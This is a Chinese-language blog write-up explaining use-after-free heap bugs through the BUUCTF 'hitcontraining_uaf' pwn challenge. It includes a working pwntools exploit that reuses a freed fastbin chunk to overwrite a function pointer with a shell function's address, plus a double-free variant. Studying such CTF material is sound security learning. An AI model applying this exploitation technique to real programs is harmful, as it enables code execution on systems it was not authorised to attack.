堆漏洞uaf

堆漏洞uaf

uaf

# 知识点

UAF 漏洞全称为 use after free,即释放后重用。漏洞产生的原因,在于内存在被释放后,但是指向指针并没有被删除,又被程序调用。比较常见的类型是 C 对象,利用 UAF 修改 C 的虚函数表导致的任意代码执行。

# 例题

# [BUUCTF]PWN——hitcontraining_uaf

  1. checksec 检查,开了 NX 保护,32 位

image-20211117154838315

image-20211117154930218

(1) add note

在这里插入图片描述

add 会申请两次内存,第一次申请 8 个字节,前四个字节指向 print_note_content 这个函数,后四个字节指向我们写入的字符串 (count 会加 1)

(2) delete note

image-20211117155714676

只释放了堆块里的内容但没有将指针置 0,存在 uaf 漏洞,并未指向 NULL

(3) print note

调用 add 申请的第一个 8 个字节中的前四个字节指向的函数,打印 add 创建的第二个 chunk 里的值

在这里插入图片描述

(4) shell

image-20211117162634035

fastbin 是单向链表遵循先进后出原则,申请 A,B 两个堆块后,先释放 A ,后释放 B,会在 fastbin 里形成链,此时,再次申请一个大小为 0x8 的内存 C,并写入 shellcode 地址,那么第一个 8 个字节 C 就指向 B,第二个 8 个字节 C 指向 A,这时候我们写入的内容就会覆盖原有的,但原来的指针仍指向它,因而可以更改 print_note_content 函数为我们想要执行的函数。

在 add 中,我们只能对 content 部分进行操作,无法对 print_note_content 对应的部分即 put 段进行操作,所以我们要想办法,操作 put 段

1
根据put段和content段中大小的不同,如果要申请到put段,payload大小应该为0x8,由于先进后出原则,先释放A,后释放B,此时第三次申请的put段指向B的put,content段指向A的put,content写入magic,调用print_note(0)时就调用了magic

申请过程堆块变化:
add:

在这里插入图片描述

free 后:
在这里插入图片描述

再次申请,写入 shell
在这里插入图片描述

先进后出原则

wp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

r = process('./hacknote')
# r = remote('node4.buuoj.cn',27609)
shell_add = 0x8048945

def add(size,content):
r.sendlineafter('choice :','1')
r.sendlineafter('Note size :',str(size))
r.sendlineafter('Content :',content)

def delete(idx):
r.sendlineafter('choice :','2')
r.sendlineafter('Index :',str(idx))

def printf(idx):
r.sendlineafter('choice :','3')
r.sendlineafter('Index :',str(idx))

add(48,'aaaa')
add(48,'bbbb')
#gdb.attach(r)
delete(0)
delete(1)

add(8,p32(shell_add))
printf(0)

#第二种思路double free
#add(8,'aaaa')
#delete(0)
#delete(0)
#add(40,'aaaa')
#add(8,p32(shell_addr))
#printf(1)


r.interactive()

# 参考文章

https://blog.csdn.net/mcmuyanga/article/details/108454183?ops_request_misc=%7B%22request%5Fid%22%3A%22163714805316780261940769%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=163714805316780261940769&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-108454183.first_rank_v2_pc_rank_v29&utm_term=hitcontraining_uaf&spm=1018.2226.3001.4187

IE 漏洞学习笔记(二):UAF 释放后重用

One_gadget 和 UAF 结合利用堆溢出漏洞研究

Author

y1seco

Posted on

2021-11-17

Updated on

2022-01-27

Licensed under

Comments

:D 一言句子获取中...